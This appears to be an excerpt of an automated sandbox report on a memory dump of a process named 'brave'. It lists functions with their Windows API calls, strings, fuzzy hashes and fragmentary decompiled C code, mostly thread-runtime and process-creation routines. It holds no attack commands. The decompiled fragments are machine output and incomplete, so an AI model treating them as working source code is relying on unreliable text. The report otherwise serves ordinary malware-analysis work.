Opcode Fuzzy Hash: 04dbb56ecb3b0ba340dc4664034811b6863cbae9e0344c0919a0919577745e17
Instruction Fuzzy Hash: 89513D21A0964A84FB14EB16F8553B66360FF85B8DF401435EDAD8B3E2EE7DE244D384

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D7060 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 157
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6FC4D7068
CreateMutexA.KERNEL32 ref: 00007FF6FC4D7177
WaitForSingleObject.KERNEL32 ref: 00007FF6FC4D7188
FindAtomA.KERNEL32 ref: 00007FF6FC4D719D
AddAtomA.KERNEL32 ref: 00007FF6FC4D71DD
_onexit.MSVCRT ref: 00007FF6FC4D71FA
ReleaseMutex.KERNEL32 ref: 00007FF6FC4D7202
CloseHandle.KERNEL32 ref: 00007FF6FC4D720B

Strings

__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAAAAAAaaaAAAAaaaaaaAaAaaaaaaaaa, xrefs: 00007FF6FC4D70DB, 00007FF6FC4D7196, 00007FF6FC4D71D6, 00007FF6FC4D7227
aaaaaaaa, xrefs: 00007FF6FC4D7114
DeAfAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF6FC4D706E, 00007FF6FC4D712F
failed to to lock creation mutex, xrefs: 00007FF6FC4D72D6
__shmem3_winpthreads_tdm_, xrefs: 00007FF6FC4D70B7, 00007FF6FC4D70E7
aaaaaaaa, xrefs: 00007FF6FC4D711E
failed to add string to atom table, xrefs: 00007FF6FC4D72C3
failed to get string from atom, xrefs: 00007FF6FC4D72F6

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectProcessReleaseSingleWait_onexit
String ID: DeAfAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAAAAAAaaaAAAAaaaaaaAaAaaaaaaaaa$aaaaaaaa$aaaaaaaa$failed to add string to atom table$failed to get string from atom$failed to to lock creation mutex
API String ID: 2382646235-1436650988
Opcode ID: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction ID: 2249bcf72a191e18e47af76e932450c161ea5015e1dc23bdce47576dc9bddcda
Opcode Fuzzy Hash: a7566c4363776fb2f142f84513ee5a94bc791e29e32db4c34a702c3beaa6482f
Instruction Fuzzy Hash: 68616BB5E0CA8382EB459B15F8016B927A2BF54789F949035DA3EC72E5FE7CA705C304

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D3520 Relevance: 24.4, APIs: 16, Instructions: 450
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D3520(void* __edx, void* __r8) {

				if (__edx != 0) goto 0xfc4d3548;
				if (__r8 == 0) goto 0xfc4d3588;
				return 1;
			}

0x7ff6fc4d352d
0x7ff6fc4d3532
0x7ff6fc4d3544

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 00007FF6FC4D3594
TlsGetValue.KERNEL32 ref: 00007FF6FC4D35ED
CloseHandle.KERNEL32 ref: 00007FF6FC4D362B
CloseHandle.KERNEL32 ref: 00007FF6FC4D3638
TlsSetValue.KERNEL32 ref: 00007FF6FC4D36A5

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CloseHandleValue$ExceptionHandlerRemoveVectored
String ID:
API String ID: 2941551293-0
Opcode ID: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction ID: d48d035869d90ac38ddabfb6d1afdadc8807344a52f0243ad7f835fa4b1427cc
Opcode Fuzzy Hash: 67c97d2b0fe632f4fb20c12def0e5228ddbe2ecb36f3870be98da43108ad0dd3
Instruction Fuzzy Hash: CE221522A09B0A85EB65BB11F49477967B2EF84B98F454135DA2D933E1FF3CE644C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D6F70 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 60
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32 ref: 00007FF6FC4D6F81
WaitForSingleObject.KERNEL32 ref: 00007FF6FC4D6F92
FindAtomA.KERNEL32 ref: 00007FF6FC4D6FFF
ReleaseMutex.KERNEL32 ref: 00007FF6FC4D700D
CloseHandle.KERNEL32 ref: 00007FF6FC4D7016
CloseHandle.KERNEL32 ref: 00007FF6FC4D7037

Strings

__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAAAAAAaaaAAAAaaaaaaAaAaaaaaaaaa, xrefs: 00007FF6FC4D6FF8
failed to to lock cleanup mutex, xrefs: 00007FF6FC4D7028
DeAfAaAa__shmem3_winpthreads_tdm_, xrefs: 00007FF6FC4D6F7A

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CloseHandleMutex$AtomCreateFindObjectReleaseSingleWait
String ID: DeAfAaAa__shmem3_winpthreads_tdm_$__shmem3_winpthreads_tdm_-aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAAAAAAaaaAAAAaaaaaaAaAaaaaaaaaa$failed to to lock cleanup mutex
API String ID: 3776795807-2134788298
Opcode ID: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction ID: d74f9adbbd75aab23bef6e05ab3bf5f32ad38da26eddf734ba9fbb248a3c1bbf
Opcode Fuzzy Hash: f862491ff4c3ba5945405b97c927dcecf34c299a1984f3d4105c76ec3890af5a
Instruction Fuzzy Hash: E0212C61A09A0381EF55AB51F85457822E2BF44B9AB949835C93EC73E4FE3CEA45C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D2D40 Relevance: 16.7, APIs: 11, Instructions: 179
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E00007FF67FF6FC4D2D40(void* __ecx, void* __rdx) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r12;
				void* _t6;
				void* _t9;
				void* _t10;
				void* _t11;
				intOrPtr _t18;
				intOrPtr _t19;
				void* _t22;
				void* _t26;
				intOrPtr* _t27;
				void* _t28;
				void* _t30;
				void* _t31;
				void* _t32;

				_t27 =  *0xfc776920; // 0x7ff6fc781400
				_t18 =  *_t27;
				if (_t18 == 0) goto 0xfc4d2f30;
				if ( *((long long*)(_t18 + 0x28)) != 0) goto 0xfc4d2f18;
				 *((long long*)(_t18 + 0x28)) = 0xfc7813c8;
				if ( *0xfc7813c8 == 1) goto 0xfc4d2f25;
				E00007FF67FF6FC4D2350(_t9, _t10, _t11,  *0xfc7813c8 - 1, _t18, _t22, 0xfc7813c8, _t26, _t27, _t28, _t30, _t31, _t32);
				_t19 =  *_t27;
				if (_t19 == 0) goto 0xfc4d2dc0;
				if ( *((long long*)(_t19 + 0x30)) != 0) goto 0xfc4d2de0;
				 *((long long*)(_t19 + 0x30)) = 0xfc772bd8;
				_t6 = TlsGetValue(??);
				if (0xfc772bd8 == 0) goto 0xfc4d2df4;
				return _t6;
			}

0x7ff6fc4d2d4a
0x7ff6fc4d2d51
0x7ff6fc4d2d57
0x7ff6fc4d2d62
0x7ff6fc4d2d72
0x7ff6fc4d2d76
0x7ff6fc4d2d7c
0x7ff6fc4d2d81
0x7ff6fc4d2d87
0x7ff6fc4d2d8e
0x7ff6fc4d2d97
0x7ff6fc4d2da0
0x7ff6fc4d2dac
0x7ff6fc4d2dbb

APIs

TlsGetValue.KERNEL32 ref: 00007FF6FC4D2DA0

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction ID: 4b05d7ebb9c08817084966be5812a35c262c71b67f45777128122fc576810847
Opcode Fuzzy Hash: 7a2b5f52572ddb7f3fab963f5045169fe13579b7e3dcc0f1855f9a6abb98b3e6
Instruction Fuzzy Hash: 52712972A09B0686EB61AF25F44076936A1FF45BA9F544639CA6C833D5FF3CEA44C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C4090 Relevance: 13.6, APIs: 4, Strings: 5, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6FC4C40C1
wcslen.MSVCRT ref: 00007FF6FC4C4117

Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDF96
Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDFC1

wcslen.MSVCRT ref: 00007FF6FC4C41B7
memcpy.MSVCRT ref: 00007FF6FC4C42E6

Strings

@, xrefs: 00007FF6FC4C426B
, xrefs: 00007FF6FC4C41CE
basic_string::_M_construct null not valid, xrefs: 00007FF6FC4C4300
\??\, xrefs: 00007FF6FC4C4110, 00007FF6FC4C4129
0, xrefs: 00007FF6FC4C4260

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2971582370
Opcode ID: 0a95272e9e1fbf78605ef02e129974c233ea37299847b336bd54345235c1d157
Instruction ID: 6237238d048c87f5b4163dc883b8025767de265fc100d2e362c6235e7d91f5f6
Opcode Fuzzy Hash: 0a95272e9e1fbf78605ef02e129974c233ea37299847b336bd54345235c1d157
Instruction Fuzzy Hash: 3D611532608BC585E770CB15F4543AAB7A0FBC4788F445225DAAD87BA9EF7CD249CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D0230 Relevance: 12.1, APIs: 8, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF67FF6FC4D0230(intOrPtr* __rax, void* __rcx) {
				void* _t5;
				intOrPtr _t6;
				intOrPtr* _t11;
				intOrPtr _t13;

				_t11 = __rax;
				_t13 =  *((intOrPtr*)(__rcx + 0x10));
				if (_t13 == 0) goto 0xfc4d0288;
				_t6 =  *0xfc781370; // 0x1
				_t5 = E00007FF67FF6FC4D5260(_t6, __rax);
				if (_t11 == 0) goto 0xfc4d02c8;
				if ( *_t11 - _t13 < 0) goto 0xfc4d0370;
				if ( *((intOrPtr*)(_t11 + 8 + (_t13 - 1) * 8)) == 0) goto 0xfc4d0310;
				return _t5;
			}

0x7ff6fc4d0230
0x7ff6fc4d023a
0x7ff6fc4d0244
0x7ff6fc4d0246
0x7ff6fc4d024c
0x7ff6fc4d0257
0x7ff6fc4d025f
0x7ff6fc4d0271
0x7ff6fc4d0284

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3cc889c201c1278defaaf99408a4456667e3ccf6999556bd80ab9070f97d7a4e
Instruction ID: d28ca8535d56e0bb651587583e27952f53347c2ade130731a39fc882b11cd563
Opcode Fuzzy Hash: 3cc889c201c1278defaaf99408a4456667e3ccf6999556bd80ab9070f97d7a4e
Instruction Fuzzy Hash: CC518222A0AB4682EB15EF25F4449F823A5EF54B88F988535DA2D877D1FE3CE645C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C39D0 Relevance: 12.1, APIs: 3, Strings: 5, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6FC4C3A58

Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDF96
Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDFC1

wcslen.MSVCRT ref: 00007FF6FC4C3AE6
memcpy.MSVCRT ref: 00007FF6FC4C3BFE

Strings

0, xrefs: 00007FF6FC4C3B4A
, xrefs: 00007FF6FC4C3AEB
basic_string::_M_construct null not valid, xrefs: 00007FF6FC4C3C18
\??\, xrefs: 00007FF6FC4C3A51, 00007FF6FC4C3A6A
@, xrefs: 00007FF6FC4C3B55

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: $0$@$\??\$basic_string::_M_construct null not valid
API String ID: 1844840824-2971582370
Opcode ID: b6310038be9ed0e587d2244d6aa3330086198dbf428e7dafbcd45e618e6045f2
Instruction ID: f8ac0ed5aa85ebd5f467a32a91eb781cc8f7b6aa2496055481e778249f4f4388
Opcode Fuzzy Hash: b6310038be9ed0e587d2244d6aa3330086198dbf428e7dafbcd45e618e6045f2
Instruction Fuzzy Hash: 65514A32608B8595E760DB15F4507AAB7A0FBC4788F944135EA9D87BE9EF7CD248CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C3CD0 Relevance: 12.1, APIs: 4, Strings: 4, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF6FC4C3D01
wcslen.MSVCRT ref: 00007FF6FC4C3D57

Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDF96
Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDFC1

wcslen.MSVCRT ref: 00007FF6FC4C3DF7
memcpy.MSVCRT ref: 00007FF6FC4C3F26

Strings

0, xrefs: 00007FF6FC4C3EA0
@, xrefs: 00007FF6FC4C3EAB
basic_string::_M_construct null not valid, xrefs: 00007FF6FC4C3F40
\??\, xrefs: 00007FF6FC4C3D50, 00007FF6FC4C3D69

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpywcslen
String ID: 0$@$\??\$basic_string::_M_construct null not valid
API String ID: 982415701-2209788446
Opcode ID: 630dfa24154ac0e713e2fbaf1a909fafa620e62a5589aa0f111c003e95ed9a5f
Instruction ID: be627b2763766487f95cba947930bb83da1e64aeef1fde78f30424e1e1bd8043
Opcode Fuzzy Hash: 630dfa24154ac0e713e2fbaf1a909fafa620e62a5589aa0f111c003e95ed9a5f
Instruction Fuzzy Hash: 1E61F222608BC585E770CB15F4507EAB7A0FBC4788F544225DAAC87BA9EF7DD149CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4C28A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E00007FF67FF6FC4C28A0(void* __ecx, void* __edi, void* __esp, void* __rax, void* __rdx, long long __r8, long long __r9, intOrPtr _a4, long long _a12, long long _a20, long long _a28, long long _a36, long long _a44, long long _a60, long long _a64, long long _a68, long long _a76, long long _a84, char _a100, void* _a112, char _a224, char _a65824, long long _a65832) {
				long long _v4;
				long long _v12;
				void* _t32;
				void* _t33;
				intOrPtr* _t49;
				intOrPtr* _t50;

				E00007FF67FF6FC4CF680(0x10108);
				_a65824 = __r8;
				r8d = 0xfffe;
				_t33 = __ecx;
				_a65832 = __r9;
				memset(??, ??, ??);
				_a64 =  &_a65824;
				E00007FF67FF6FC4DA220(__ecx,  &_a224, __rdx, __rdx,  &_a65824);
				r9d = 0;
				memset(__edi, 0, 0xd << 0);
				_a36 =  &_a68;
				_a28 =  &_a100;
				_t49 =  *0xfc776640; // 0x7ff6fc781078
				_a44 =  &_a60;
				_a100 = 0x68;
				_a68 = 0;
				_a76 = 0;
				_a84 = 0;
				_a60 = 0;
				_a20 = 0;
				_a12 = 0;
				_a4 = 0x8000000;
				_v4 = 0;
				_v12 = 0;
				 *_t49(); // executed
				if (_t33 == 0) goto 0xfc4c29b7;
				_t50 =  *0xfc776660; // 0x7ff6fc781058
				_t32 =  *_t50();
				E00007FF67FF6FC4C4D0D();
				return _t32;
			}

0x7ff6fc4c28aa
0x7ff6fc4c28bd
0x7ff6fc4c28c7
0x7ff6fc4c28cd
0x7ff6fc4c28d2
0x7ff6fc4c28da
0x7ff6fc4c28fa
0x7ff6fc4c28ff
0x7ff6fc4c290b
0x7ff6fc4c290e
0x7ff6fc4c291e
0x7ff6fc4c292b
0x7ff6fc4c2930
0x7ff6fc4c2937
0x7ff6fc4c293e
0x7ff6fc4c2949
0x7ff6fc4c2952
0x7ff6fc4c295b
0x7ff6fc4c2967
0x7ff6fc4c2970
0x7ff6fc4c2979
0x7ff6fc4c2982
0x7ff6fc4c298a
0x7ff6fc4c2992
0x7ff6fc4c299b
0x7ff6fc4c29a4
0x7ff6fc4c29a6
0x7ff6fc4c29b5
0x7ff6fc4c29ba
0x7ff6fc4c29cc

APIs

memset.MSVCRT ref: 00007FF6FC4C28DA
CreateProcessInternalW.KERNELBASE ref: 00007FF6FC4C299B

Strings

h, xrefs: 00007FF6FC4C293E

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CreateInternalProcessmemset
String ID: h
API String ID: 101748716-2439710439
Opcode ID: f7d899a7f5cd1f8d80b8283f1cd465d5e67c1af32a4d658f7ff7f1fd2331c44a
Instruction ID: 8a28c6539245dbd66de6742f328f3bcfbab09a1176e9932680ebf9bb59e75c70
Opcode Fuzzy Hash: f7d899a7f5cd1f8d80b8283f1cd465d5e67c1af32a4d658f7ff7f1fd2331c44a
Instruction Fuzzy Hash: 1D212632608B8092E720DB15F45479BB6A5FB85788F504139EACC87BA9DF7DD249CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D4030 Relevance: 3.7, APIs: 2, Instructions: 652
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E00007FF67FF6FC4D4030(signed int* __rcx, long long __rdx, void* __r8) {
				intOrPtr _t96;
				signed int _t104;
				signed int _t110;
				signed int _t111;
				long long _t134;
				intOrPtr _t184;
				intOrPtr _t185;
				intOrPtr _t187;
				intOrPtr _t188;
				intOrPtr _t189;
				intOrPtr _t190;
				intOrPtr _t192;
				intOrPtr _t193;
				intOrPtr _t195;
				intOrPtr _t196;
				intOrPtr _t197;
				intOrPtr _t199;
				intOrPtr _t200;
				intOrPtr _t201;
